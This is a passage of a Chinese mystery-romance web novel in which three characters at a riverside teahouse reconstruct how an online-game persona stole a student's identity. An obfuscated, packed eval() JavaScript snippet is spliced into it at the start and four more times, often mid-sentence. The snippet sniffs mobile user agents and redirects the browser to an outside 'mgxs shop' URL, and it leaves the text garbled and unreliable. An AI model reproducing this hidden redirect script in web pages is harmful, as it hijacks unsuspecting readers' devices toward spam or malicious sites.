l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059647|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >除了暗黑。 是从这时开始,两人才更亲密,天天玩在一起,还结成侠侣。 直到暗黑消失前,他们的相处都是打怪升级。暗黑级数比她高,一直带她。 “假设暗黑就是骆霞,警方抓了他,通知了你却没通知小唐,可见小唐说的是真的:暗黑没有对她做任何构成犯罪行为的事。那么问题来了:像骆霞这样一个目的性极强的骗子,对小唐一不求色,二不求财,却愿意花时间跟她相处,中间空白这么久也没删掉她,等她回来了也还是带她做任务……你觉得这有可能?” 听完这通分析,福娃明显放心不少—— 其实,他最担心的莫过于小唐找暗黑,却最终找到骆霞头上,进而爆出他和对方的荒唐事。 心结解开了大半,就发现手中快吃完的雪糕棒上,有四个大字: “再来一根”。 * “云深姐,给!” 离开明月亭往回走,福娃把刚从小卖部领回来的柠檬冰递给她。 “谢啦,但我吃不了这个。”蔡云深一边抓腿上刚被咬的蚊子包,一边回答。心想难怪不见有人在明月亭乘凉——那里简直是蚊子大本营。 福娃却一点没被咬,或许是因为他有福星buff:“什么叫‘吃不了’?”他只关心。 “我受不了咬冰块的声音,”蔡云深告诉他,“一听到就全身打哆嗦。” 眼睛哭得通红的福娃随即想到:“那我刚才咬冰块有没有吓到你?” “你坐得远,还好了。要我自己吃就一点都不行,满耳朵都是那个声音。” 福娃理解了:“那你拿回去给望哥吃。柠檬冰可是他的最爱。” 听到“柠檬冰”三个字,蔡云深反应过来,接过雪糕在路灯下细看包装。却怎么都找不到她记忆中的样子。 “你问江安很多年前卖的柠檬冰?”听她问及,福娃告诉她,“应该就是这款吧?我小时候就吃。只是前几年换了一次包装。以前不是白色,是黄色的。” “对对,就是黄色!” 刚说到这,一个场景就在她脑中闪回: 那是多少年前的夏天,一群小孩手拿柠檬冰,她没拿,因为她要抱福娃。 耳边想起咔嚓一声。时空定格,变成一方照片。 然后,孩子们嬉笑着跑出房间,关上门—— 门上贴着一张倒福。 蔡云深只觉恍如隔世。 “福娃,”她不禁问,“我抱着你照的那张照片……是在我家照的,对吗?” 福娃答不上来,说时间太久。照片是在灰楼老宿舍照的,那里都拆了,可说不好是谁家。 “大人们应该知道,下次我拿照片问问我妈?” “好啊。” 说话间,七单元就在前面。 “云深姐,我还是直接回家算了……我这副样子,任谁都看得出来哭过。现在去701可不好解释。” 蔡云深看看哭得双眼通红、脸和脖子也因为醉酒染上绯色的人,点点头。 但是分开前,她还想证实一些事,问福娃: “其实,你是不是打从一开始就很想找出暗黑?” “肯定啊!”福娃说,“我也上过当,知道这有多难受,所以我很想帮小唐讨回公道!更何况他还盗用我的信息!谁知道他会不会顶着我的名号干更出格的事?我必须抓住他!” 蔡云深也觉得是这样,所以才想问—— “那你为什么不想于岳望接这个委托?” 14. 老茶馆 福娃被说中:“看得出来吗?” “当然,你对我帮小唐和于岳望帮小唐的态度可完全不同,”趁某人不在,蔡云深直接问,“怎么,于岳望靠不住?他那个鸿运通是不是不正规?” “不是的!”福娃忙解释,“望哥很可靠,鸿运通也是正规公司,他跟人合伙开的,做维修,你在网上都查得到!” 做维修,却提供“便民委托”? 心中还存疑,听福娃继续:“我不想望哥介入,只是单纯因为他跟我太熟了……跟我妈也熟。”他坦承,“望哥就像我亲大哥一样……有些事对太亲近的人,反而没法启齿。” 这个道理蔡云深明白,她只是想确认福娃和于岳望的关系。看来他们不止是普通邻里,而是近乎于亲人? 所以福娃总在维护于岳望;而于岳望也一样,在面对小唐时不问前因后果,直接就站边福娃。 “现在,我是不是已经洗清嫌疑,可以跟你们一起调查了?”又听福娃问。 骆霞的事不像是福娃编出来的,他的伤心也不像在演戏。 蔡云深点点头:“虽然还没问小唐的意思,但我想你能跟我们一起,她应该也很开心。”随后告诉他,“明天中午我们打算去天心茶馆。小唐手里有一些关于暗黑的线索在她玩游戏那部手机里,我让她带来。跟我们相比,李鬼的破绽肯定是你这个李逵看得更明白。”说着又想到,“另外,你刚刚提到那个在飞燕山上拍的视频……除了骆霞,你没有发给过别人吧?” “当然没有!那可是告白视频,我怎么可能发给别人?”被这么一提醒,福娃找回自己的思路,“这就是我为什么会怀疑骆霞!因为除了我,那个视频就只有他看过!暗黑却知道里面的内容。我已经知道自己不是暗黑,那么必然就是骆霞呀!” “但我们刚才分析了,骆霞有点对不上号……”蔡云深说,随后指出,“而且这件事也并不是非你即他,还存在其他可能。” “什么可能?” “就是有人从你,或者骆霞的手机上看过这个视频。”蔡云深说着问福娃,“你说视频是三月初拍的,那之后一段时间里,周围有谁接触过你的手机?” “接触我的手机……开学那时候……”福娃艰难地回忆,“我室友?部门的人?还是新闻社?……同班同学?助教?班导?学弟?……学姐?!团委的老师?!!……” ……这就是交际花的实力吗,蔡云深感叹。她自己的手机可没那么多人能经手。 “不行,”本来就醉的福娃锤头,“云深姐,我感觉脑子要炸了!” “你还是先回家睡一觉吧,”蔡云深建议喝迷糊的人,“等明天和小唐汇合,我们再从她那找找突破口。” 福娃一边揉太阳穴,一边慢吞吞点头。 …… 翌日。蔡云深在《八段锦》的乐声中醒来。 等她做完卷腹、洗漱出来,于岳望又已经出门。只剩吃过饭的许江在小花园浇水。客厅的电视机开着,他边浇边听。 正播的是江安台,晨间新闻。专家介绍,前两天发生的轻震其实是多年前大地震的余震。还科普有些“远期余震”,跨度甚至能超过百年。 蔡云深一边听,一边在餐厅吃饭。 吃完收理好桌子,换衣服去。 等她穿戴一新、马尾也梳高,出卫生间就遇上许江: “你今天又要出门?” 蔡云深答是,顺便告诉他午饭也在外面吃—— 去天心茶馆。 “那你吃了赶紧回来,江安台的天气预报说今天要下暴雨!” 蔡云深最怕的就是暴雨天。但看看外面,没有半点要下雨的意思。 “对了,”许江又问她,“你的车就那么放着,也不修吗?” 蔡云深不答话。 见她闷声,许江建议:“要不你把车钥匙丢给阿望?哪天想用车,提前跟他讲,他好安排帮你把车开去镇上修。” “……再说吧。”知道许江担心什么,蔡云深跟他保证,“放心,我眼睛恢复前不会开车的,更不会在雨天开。” “你别说一套做一套就好!”许江说着又念,“要是今天非要出门,可别忘了带伞!记得早点回来!” “知道了。” 话是这么讲,等刚睡醒的小唐回复她时,已经太阳晒屁股。外面依然是万里无云的好天气。 蔡云深开始怀疑江安电视台的准确性,最终也没带伞。 跟福娃先碰面,之后两个人去茶馆。刚出小区,就遇上提着保温桶等待的刘阿姨。福娃主动招呼—— “刘阿姨!去哪啊?” “去看你秀婆婆!” 福娃看她带的东西:“哇,给秀婆婆开大餐?还有副扑克?” “今早刚炖的鸡汤!这两天秀婆婆手机玩厌了,非要人陪着打斗地主!”刘阿姨笑,“你们两个小东西去哪?” “我们去茶馆!”福娃说,“帮我跟云深姐问秀婆婆好!” “就你小子嘴甜!” 表扬完人,一辆车来。刘阿姨手忙脚乱地对车牌号,然后风风火火过去—— “先走了啊!” 蔡云深安静地看着女人的背影,这才回想起什么,跟福娃确定: “秀婆婆……是刘阿姨的妈妈?” 福娃叹一声。“是啊。” 蔡云深不说话了。因为前两天从餐桌上,她已经知道秀婆婆之前因为摔跤住进医院,却意外查出肿瘤。 医生推测是恶性,但老人年事已高,不要说手术,连穿刺都承受不了。现在是活一天、算一天。 所以那晚吃饭前,爸爸才会说那些话安慰刘阿姨。 同样是那天,她对刘阿姨的“关心”感到厌烦,几次都想反怼。是于岳望插科打诨,才让她最终没机会展开“自杀式袭击”。 要是当日出言不逊,在得知刘阿姨的状况后,她心里该多不是滋味? 琢磨着这回事,连福娃跟她聊天也答得三心二意。搞得年轻人关心她: “云深姐,你昨晚没睡好吗?” 蔡云深回过神,“没有啊,”说着看顶一对兔子眼的福娃,“倒是你,哭肿还没消。” 想起昨晚醉酒,福娃不好意思: “那什么,要是有人问,你别揭我短啊……”他说,“就说是蚊子叮的!” 亲测,明月亭的蚊子不会叮你。 之后一路闲聊,天心茶馆很快就到: 这是一家上了年头、摇摇欲坠的老店,开在相思河畔。从小区走路过去不到十分钟。 桌椅很破旧,茶水两元起。在这喝茶的全是附近的退休人士,就属她和福娃两个突然闯进来的年轻面孔最突兀。 更奇的是,茶馆柜台还放着正被修理的手机和电脑,也卖数据线。旁边立了个小招牌,大字写“修手机电脑”,小字则是: “鸿运通”。 怪不得于岳望跟委托人见面,会约在天心茶馆,原来是在这租了一个角落。 倒也不奇了—— 能卖牛肉面的茶馆,自然也容得下人搞修理。 昨晚因为好奇,她还真去搜了鸿运通,发现在江安,他们的连锁做得有声有色。 □□,可以在网上直接下单,手机维修,电脑维修,家电清洁及维修,下水道疏通…… 各种业务,应有尽有。 就连“便民委托”也是有的,内容包括但不限于: 高空取物、窗外救猫、打捞重要物品等等。 唯独于岳望那种“不收钱”的便民委托,网上没有。 不仅如此,她还发现:那张名片上留的手机号,跟网上面向大众的联系方式也不是同一个。 福娃说过,于岳望只在天心做。也是,就算奔着“不收钱”来,全江安人民的便民委托,单是咨询电话就能打到他头爆吧。 小唐也说,名片不是摆在台面,而是那个前台询问她缘由后,才给她并且帮她联系的。 所以前台也是于岳望的熟人—— 熟人介绍的单他才有可能接。 再回想福娃说的那些于岳望接过的单,与其说他是“侦探”,不如说是“闲人马大姐”之天心特供版。 一边思忖,一边进门。里面居然别有洞天: 拱门古香古色,门楣两侧还有诗, “天心月明窗未晓,只将残梦伴残灯”。 这句子有点太萧索。挂在这个盼着招财进宝的人场,一点不应景。 总觉得在哪读过,又记不确切。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059648|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着福娃进里厅,发现这里人少一些,桌椅也新一些。 天气热,老茶馆却连个空调也不开。福娃带她去临近河畔、有树荫的窗边坐。又把墙上的旧风扇定格,对着她的方向吹。 蔡云深却还是开始冒汗。 一边用手做扇给自己扇风,一边听外面不知谁的收音机放起了歌,唱, “我早已为你种下,999朵玫瑰……” 蔡云深仿佛置身于20年前。 这时,一人过来招呼。双眼圆溜溜的,目光激越,也是满头汗。 “小老板?你怎么来了!喝茶吗?” “都几点了还喝茶?”福娃答,“来吃牛肉面的!你不用管我们,等人到齐,我直接去后厨叫。” 店小二一边点头,一边打量蔡云深。见她戴个墨镜,瞬间想起已经传遍整个小区的谣言: “这就是群里说的那个?”他愣头愣脑问。 福娃:“什么?” “被你劈腿的女朋友啊!” 把人拉下水的福娃瞬间不好意思:“不是的,是误会。”认真介绍,“这是许叔叔的女儿。” 店小二这才理解:“原来你就是许……许……” “不是‘许’,是‘蔡’,”旁边的福娃纠正,“蔡云深!” “噢!原来你就是蔡姐姐!” 还来不及应答,有客人先唤小二:“贱皮,加水!” “好嘞!”贱皮笑嘻嘻跑开。 总觉得有些出奇,又不好明言,只先问福娃:“他刚才说的群,是什么群?” “小区群啊!” 福娃说着找出“天心小区业主群”给蔡云深看,还说这是仪表厂家属区重要的八卦来源。 探头一看,此时有人发图,电视机蓝屏,写“无信号”。 “阿望,你才修电视,怎、打不开?”一看就是老年人,打字都不利索。 很快有人回:“龙爷爷,你不@别人,刷过了望哥也看不到的!” “还是别@了,阿望最近中午忙!”另一个回,“你那电视机没问题,点返回,退出主菜单就行。” 龙爷爷:“什么菜单?我不买菜!” “……你点‘返回’!遥控板上那个!!!” “行了行了,马上下班了,我上去帮龙叔搞!” …… 真是哪哪都有于岳望。 正吃瓜呢,瓜就砸向她: “@福星小子@福星小子福娃,你真带女朋友回家了?戴墨镜的?我媳妇儿说刚看到你们小两口往菜市场走,真的假的?” “?昨天不是说福娃劈腿了那个墨镜女吗。怎么,一晚上和好了?” 蔡云深抬头睨罪魁祸首。 福娃赶紧拿过手机:“我,我想想怎么解释!” 蔡云深也急:“你先加我,把我也拉进群!”加完又反悔,“不行,不能是你拉!你现在拉我进去,大家更要误会!” “对啊,你别急嘛……”福娃建议,“其实比起在群里说,还有更快、更令人信服的方法……” “什么方法?” “就是晚上吃饭的时候,让许叔叔或者望哥,跟来吃饭的人澄清一下。” “他们两个说话管用?” “当然了!他们在小区很有威望,动动金口,自然一传十、十传百!” 蔡云深忍俊不禁:“说得像他俩是什么人形大喇叭。” 见她笑了,福娃的嘴角也跟着上扬:“那叫有群众基础!” 于岳望这个老住户也就算了,“我爸哪来的基础?”蔡云深问福娃,“他一个新人,去年才住进来。” “他是天心长大的,又在厂里上了几十年班,怎么叫‘新人’?”福娃说,“而且你看,他才回来多久,就当上家委会!刚才那个群,他还是群管理呢!” 对啊,许江也在群里! 那别人说她和福娃,他怎么没反应?是没把“墨镜女”跟她联系在一起,还是没看群? 正犹豫要不要就这个说大不大、说小不小的事跟老爸“交通沟流”,就来了位火上添油的—— “什么情况?我刚出小区时看到福娃了呀,他跟许老大女儿一起出的门?戴墨镜的!” ……刘阿姨。 15. 真巧啊 完了。本来指向模糊,这下彻底坐实她、许江的女儿,就是闲话里那个“戴墨镜的”。 没想到,下一秒就峰回路转: “他俩才不是什么男女朋友!”刘阿姨居然在群里帮她和福娃开解,“两孩子年纪都快差辈了,才认识几天啊?什么关系都没有!” 作为位于天心小区情报顶端的女人,刘阿姨发话,效果比让许江或者于岳望出马都立竿见影。 眼见众人在群里接受了真相,之前还对人颇有微词的蔡云深,忍不住由衷赞赏—— “刘阿姨,好人啊!” “但她也太夸张了,”福娃嘟囔,“我跟你就差7岁,怎么能叫差辈……” 蔡云深不介意:“差辈怎么了?我抱着你照相的时候,你就是还在吃奶啊!而且你看,这么说多直观,大家的误会一下就消除。”说着还让福娃,“来,叫声蔡阿姨?” “我就知道你会占我便宜!” 正说话,一大拨人进来。福娃说这是厂里下班了。 人一多,茶馆马上忙起来。后厨很快满腔火气,洪亮的声音透着点催命那意思: “贱皮——端面!!!” “来了疯狗!”贱皮一边回应一边往帘后钻,在外面都听到他问,“牛肉面?是小老板他们的?” “不是!他俩还没点呢!这是五桌的!” 蔡云深离后厨近,听着这把声很清晰,又有点耳熟。但她没细想,只奇怪: “为什么贱皮叫你‘小老板’?” “因为这茶馆是我妈开的啊!”到此,福娃才介绍。 蔡云深恍然大悟:“怪不得你最喜欢吃这的牛肉面。” “我没有……”福娃居然否认,还告诉她,“刚才就想跟你打预防针,别太期待这的牛肉面。” 蔡云深:“怎么讲?” “我妈厨艺是不错,但她精打细算……所以我们这的面味道是好,但牛肉给得少。常客都知道的,来吃就是图个方便便宜、面条管够。”光鲜靓丽的男人说着环顾四周,难掩厌嫌: “要不是小唐点名,真不想带你们来。” 蔡云深一下就听出福娃是真不喜欢,心想: 这暗黑虽然借用了福娃的信息,却没有全部如实使用。 问题是,他的那些谎言都非常微妙,而且所涉及的也全是天心的地标。就好像他对这一片也很熟悉? 昨天晚上,让福娃回忆有可能接触到他手机的人。其实除了学校,还有另一个可能—— 就是仪表厂小区里的邻里。 正思量着,小唐出现。 蔡云深冲她挥手。 客人终于到场,福娃才开始问两人想吃什么、吃多少、加不加辣,然后亲自跑后厨下单去。 他前脚走,贱皮后脚就经过。说他不机灵呢,他又挺有眼神,一眼就从小唐稚嫩的脸庞认出: “哎呀,你就是昨天在门卫昏倒的中学生娃娃,对吧?被小老板搞大肚子那个!” 两人闻言都一愣,尤其是小唐。年纪小面皮薄,一下红了脸。 蔡云深拍桌:“你从哪看来的胡话?”她质问贱皮,“又是小区群?” “不是啊,”贱皮老实答,“我是从来喝茶的人那里听来的。” “他们说的不对!”蔡云深声量放大,同时说给偷瞧这边的其他食客听,“这个小妹妹昨天晕倒,是因为犯了低血糖。她和福娃刚认识,什么搞大肚子!”说完又重复一次,像教导小孩子,“低血糖、刚认识,记住了吗,贱皮?” 这套对贱皮居然挺受用,他把头点得像拨浪鼓: “记住了、记住了,她是低血糖、和福娃刚认识……” “真聪明,”表扬完,蔡云深又喊话,“要是你再听到谁胡说八道,一定要去纠正他们!茶可以乱喝,话不能乱讲!” 贱皮连连答应,听到后厨又喊他,才小跑着离去。 看来小区群也不是什么都传,蔡云深想。像她是福娃女朋友这种程度的,居然算上得台面。 至于上不得台面、在线下嚼的舌根,可远比群里辛辣狂野。 但同时,这也变相证明了,仪表厂小区里闲话流传的速度有多快。在这里,你想搞到谁的个人信息,那都是相当容易的—— 只要你有心。 揣摩间,福娃回来了。幸好刚才他不在,不然多尴尬。 再看小唐。自从昨晚跟她通电,告知福娃应该确实不是暗黑后,少女对男人的态度发生了180度转变: 昨天还连哭带怨、句句是恨; 今天已经是恭敬中透着扭捏,连看都不敢看他。 自打福娃再次入座,少女就僵硬得像刚从冷冻室里端出来,一动也不动。 蔡云深甚至害怕她忘记呼吸。 面端上来还有一阵。是为缓和气氛,也是为理点线索,蔡云深破冰: “小唐,”她问少女,“不介意的话,我能不能继续问问你跟暗黑的事?” “好啊……”小唐答应,细声细气。 蔡云深:“你昨天说,暗黑是差不多一个月前消失的。当时有没有发生过什么特别的事?” 小唐的神情瞬间黯淡:“……其实,那时候,我跟他吵了一架。” 被“骆霞”走过同样流程的福娃闻言立刻关心:“为什么吵架?”他问,“该不会是那个暗黑故意无理取闹,引导你跟他吵的?” 小唐想了想:“不算吧……” 福娃着急:“具体什么事?” 小唐安静片刻,才答:“因为泰川。” 福娃以为自己听错:“什么?” 蔡云深这边却听明白了,把问题问下去:“难道,暗黑他不喜欢泰川?” 小唐点头。 一个月前,泰川宣布八月将在江安开演唱会。小唐订了票,告知了暗黑,顺便透露自己外公外婆其实也在江安,到时候会呆一周左右。 “我甚至想说,如果方便,我们可以见一面的……但还没提那个呢,他就先莫名奇妙来了句——‘追星的都是脑残’!” 原本还腼腆的小唐,说起这个声量都提高: “你们说我能不气吗?!他知道我什么,又知道我们泰川什么,就这么说我?!”追星少女万分委屈,“所以我就反击,说他连泰川的一根头发都比不上,还让他去吃屎!” 蔡云深还没说话,福娃先出声:“什么跟什么啊?”他无语,“一个泰川,也值得你们吵架?!小学生吗?” 小唐被说得脸上一阵红一阵白:“你、你懂什么?!”说着推蔡云深出来,“云深姐姐就不一样,她就能理解我,因为她知道泰川的珍贵之处!她和我一样,都是小太阳!” 福娃不解:“什么小太阳?” 小唐解释:“泰川的粉丝名字就叫‘小太阳’!” 还要继续维护偶像,头顶上先传来懒洋洋的男声: “面来了——小心烫!” 话音落,身穿围裙、满头大汗的于岳望出现。随后他一手托铝盘,一手娴熟地把其中三碗挨着放桌上,说了声“慢用”就去下一桌。 小唐看愣:“……鸿运通叔叔?” 蔡云深也惊讶:“于岳望? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059649|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”这才反应过来,“在后厨煮面的是他?” “是啊,”福娃说,“我妈最近有事回老家,找望哥顶的班。” 所以,这人每天清早就不见人,就是为了来茶馆? 这该不会也是——“便民委托?” 福娃点点头,“但我妈要给他工钱的!他不敢不收。” 那么,“贱皮刚才喊的‘疯狗’,也是指他?” 听她这么问,福娃忙让她小声点:“你可千万别这么跟着叫!很伤人的!”福娃叮嘱,“贱皮那是没办法,每次让他改口,他都记不住!他啊,这儿有问题。”福娃说着指自己脑袋。 难怪。 她一直觉得贱皮哪里不对劲。 之后埋头吃面。福娃诚不欺人,味道是真不错,牛肉嘛根本见不到,因为准确说是“牛肉酱面”,青菜也没几片。 对此小唐却没抱怨,带着滤镜,她的评价竟然是“真的就像暗黑说的那样,超级好吃”! 一餐吃完,又点了茶,因为亟待整理的问题有那么多—— “所以,你为什么现在来找暗黑?”蔡云深先问,“我的意思是,他都消失一个月了。” 小唐这才说起:“是因为约定。”她答,“以前,暗黑说过,无论发生什么,我生日这天,他都会陪我度过。我们玩的游戏里有个地方叫落霞峰,非常美!我们约好生日去那里看日落……他明明答应了我!” 说到这,小唐再度陷入沮丧: “福娃哥哥说得对,我们吵架就像小学生。所以我越回想,越觉得暗黑不可能因为这种小事就消失。……我跟他之前发生过一些事,让我非常感激他,也相信我生日那天他排除万难都会来!但是一周前,也就是我生日。他没上线。……” “我给他留言,他不回复;打语音,也没人接……一开始,我太伤心,一气之下删了他所有联系方式。但是过了两天,我就后悔。因为无论我怎么回想,都觉得他不可能失约……我们吵架归吵架,但当时约好了呀,……” 也不知道两个人究竟约好了什么,小唐说到这,眼眶居然红了。 “最终,我没法放下他不管。来了江安,甚至找到天心派出所……但警察说,不能帮我确认暗黑哥哥的情况,因为他没对我做任何犯法的事,不构成犯罪。……所以,我只能自己想办法……就算找不到,我也打算一个人走遍暗黑哥哥曾经跟我说起过的每一个地方……哪想到,我竟然真的遇到了一个人……但同时也发现,我居然被骗了。” 沉默。 小唐叹气:“你们一定觉得我很傻。因为失恋伤心难过了一个月,对方却是个骗子。” 这似曾相识的台词,让福娃一下就有了代入感:“你不傻!”他义愤填膺,“错在暗黑,是他不该骗你!” “是啊,而且失恋伤心不是很正常吗?”蔡云深说到这坦承,“上个月我跟男朋友分手,到现在也难过了一个月。” 此言一出,不要说小唐,连福娃都一怔: “啊?!” 见两个小的投来诧异的目光,蔡云深扶墨镜:“干嘛?当阿姨的就不能失恋?” “不是,只是没想到这么巧,”小唐小小年纪,人情世故却拉满—— “而且你不是阿姨,是姐姐。” 完全没想过蔡云深居然也是同病相怜,原本不想暴露的福娃被气氛感染,举手: “……真巧啊。” 小唐闻言,终于敢看向男人:“巧什么?” 福娃实在不想用“女朋友”这样的字眼,只说: “我也是上个月分的手。” 16. 理线索 小唐看向两个都自称上个月分手的人。 以为她又误会,福娃赶忙澄清:“云深姐分手跟我分手没关系!” 小唐意味深长:“我又没说什么,”她道,“我知道你说云深姐姐是你女朋友,都是谎话;云深姐姐也跟我讲了,你们才认识几天。” “是啊,”福娃附和,“不过我们碰巧都失恋是真的,都是天涯沦落人。” 这句一出,三个人面面相觑。 安静一阵后,不知道谁先笑一声,之后全笑开。 当场歃血为盟。立志要一起找出那胆敢盗用福娃身份、又辜负了小唐的“暗黑”。 寻人第一步,从研究赛博档案开始: 麻烦的是,小唐删去了暗黑——无论是微信还是游戏里。后来也试着加回他,对方至今没回应。 幸好小唐手机上有记录: 平时跟暗黑玩游戏,聊天,甚至是对方发朋友圈…… 只要是觉得有纪念意义的,小唐都截了图。 于是,接下来,三个人一道回顾起“冷歌甜糖”跟“暗黑┽泪の觞”的过往: 第一张截图,打副本。 “再试一次?”暗黑说。 “还是不要了,”小唐自责,“我的手好像不是我的!每到该躲刀,我就忘记跳!” “没事,我一开始也那样,多来几次能过。”暗黑鼓励她,“再试试吧,我也换下配置。” 最终,两人过关。 小唐开心:“我太厉害了!夸我!” 男人很酷地回:“夸你。” 再往后。晚上10点,对面发来攻略链接。小唐很惊讶: “这么晚了还看攻略?” “这叫认真学习。说好了明天带你过,就一定过。” 小唐笑他的用词:“这么喜欢学习,那祝你早点开学~” 暗黑:“不是吧?开学了我们都不能再玩手机,你开心?” 小唐觉得是甜蜜的瞬间,福娃却吐槽:“10点叫什么晚啊?”又指出,“这个暗黑也是,拿我的信息装大学生,却装得一点不像。什么叫开学了就不能玩手机?但凡真上过大学,都不会说出这种话,哄谁呢?” 被“哄”到的中学生不开心,帮着辩白:“你又不是暗黑!你自己上大学不认真,可不能觉得全天下都跟你一样!” 福娃摊手:“现在又知道我不是暗黑了?” “是啊!你连暗黑哥哥的一根头发都比不上!” 话是在护人,说完又叹气。 蔡云深看在眼里,让小唐继续往下翻。看到其中一张时叫停。 暗黑:“刚才在梦游开三人团,遇到两个垃圾队友,我直接喷完下线!” 小唐:“你也不要骂人家,万一他们是像我这样的新手呢?” “哪里新了?他们就是纯菜!我用脚都比他玩得好!”暗黑说,“而且如果他们像你,至少讲礼貌,他们才不是!” 蔡云深越看越觉得,这两个人,跟什么“恋”的毫不沾边,更像是玩伴。 尤其是这个暗黑,张口闭口都是游戏。 而且,“梦游”又是什么? “你们还一起玩梦游啊?”熟知游戏的福娃说。 “嗯,”提到这个小唐就难过,“其实,在梦游,我听到了一些不好的事情……” 《梦游江湖》是另外一款电脑游戏,出了很多年了。小唐以前没玩过,是跟暗黑相熟后,为了陪他才注册的。 “在梦游里,他的装备特别好,人也特别有名……我们一起玩的时候,好多人来加我好友,说什么‘嫂子求带飞’,还一路叫他大佬、神豪……” “他消失后,我也试过去梦游等他。结果遇到一个陌生人给我私信,说我被骗了。” 福娃立刻警觉:“被骗?!” 小唐点头。 “那个人说,暗黑玩梦游很久了,砸了很多钱,声称自己是富二代、大学生,还跟在梦游里一个很有名气的美女在游戏里结了婚。但是两年前,他突然消失。美女等不来人,也离开了他。” “然而直到最近,大家才知道,他根本不是什么大学生,而是一个中年人,不仅如此,还有妻子、有孩子……之所以知道,是因为一个月前出了新闻:他花公司的钱打游戏被抓……” 蔡云深完全没想到还有这一出。越听越混乱。但是“出新闻”三个字倒是提醒了她。 把新闻找出来,不看不知道,一看吓一跳: 还真有人挪用公款玩梦游,砸的还不是一点半点,而是几百万! 福娃看完报道也懵圈:“几百万啊!”他感叹,“我这个真·大学生可拿不出来!不然不至于买个二手车都要存钱,钱还被人……”“骗掉大半”几个字就在嘴边,好歹没说出口,只质问小唐—— “你来江安前就知道暗黑被抓了,看到我还非扯我就是他?” “我不知道啊!”小唐反驳,“我是看到有新闻,但上面只报道一个玩梦游的人因为花公款入狱,我怎么能确定是不是暗黑?” “怎么就不能确定?你再上梦游多问问啊?” “我听到这件事太生气,把梦游的号给注销了!” “那申请别的号啊,”福娃说,“要是暗黑在梦游真的那么有名,上去一问不就知道?” 小唐一副要哭出来的神情:“可是……” “可是什么?” “可是我就上去了三次……而且我太伤心,连他在上面叫什么我都忘了!” 福娃恨铁不成钢:“你就是逃避,你就是不想面对现实!” “福娃,”蔡云深却在这时出声,一边看新闻一边问男人,“新闻上这个挪用公款的是外省人,80后,当出纳……你认识吗?” 福娃没好气:“我怎么可能认识这种人?!” “或者说,你跟他有交集吗?”蔡云深提醒,“别忘了,暗黑可是有你不少信息。他还知道你觉得飞燕山像落霞峰。” 蔡云深没点破,但福娃已经秒懂: 那个告白视频。 在确保福娃的秘密不暴露的基础上,蔡云深问小唐: “暗黑以前有没有给你发过视频?”说着补充,“我是说,是有福娃的视频?” 小唐摇头:“没有。” “那他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061813|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有没有跟你告白?”蔡云深把一件事分成两部分问,“或者,夸你跟落霞一样美?” 小唐被问得脸都红了:“怎么可能!暗黑哥哥看过我照片的,那种油腻的假话他才不会说!而且他跟我只是在游戏里结婚,为了完成侠侣任务升级,现实里没关系!”说到这低声,“……就算有,那也只是我单方面暗恋他。” 被中学生指“油腻”的福娃脸一黑。在旁的蔡云深却陷入思考: 昨天晚上,听福娃提起时,她就发现福娃版本的飞燕山告白跟小唐的有出入。 今天一对比,更有一个感觉: 会不会之前她和福娃的思路错了?暗黑说不定,根本就没有看过什么告白视频。 “关于飞燕山,暗黑还跟你说了些什么?” “就说那里很漂亮,很像落霞峰,尤其是日落的时候,”小唐答,“对了!他还跟我约好生日那天发飞燕山的照片给我的!可是……” 蔡云深若有所思。 “看来,我们有必要去一趟飞燕山。” “我本来就打算去的!”小唐感慨,“果然,来天心是对的……不管暗黑哥哥是死了,还是犯罪被抓了,我都必须要面对……这段初恋,必须由我亲手画上句号……” 为什么会觉得暗黑死了? 蔡云深刚想问,收拾完后厨的于岳望就再度闪现,过来良言暖人心: “面都没见过,还初恋?万一对方是条狗呢?”他一边给小唐倒水,一边揶揄,“什么亲手画句号啊,暑假作业的句号你画了没,小妹妹?” 小唐还没回应,蔡云深和福娃先异口同声:“你不懂!” 两个失恋者同盟这么吼完,看彼此一眼,很快移开视线。 于岳望无语,给三位把茶斟满,提保温瓶走人: “好好好,我不懂。你们继续,继续。” 蔡云深嫌弃地抽纸,把于岳望撒在桌上的水擦干净。随后不理打扰,继续昂下巴在备忘录整理关于暗黑的线索: 暗黑称自己是大学生,存疑,可能已婚;跟福娃认识,对天心了解; 游戏成瘾,在“梦游”砸过重金,两年前退游;一个月前疑似东窗事发、因为挪用公款被抓?但此人找不到跟福娃的关联。通过骆霞得到福娃的个人信息的可能性? 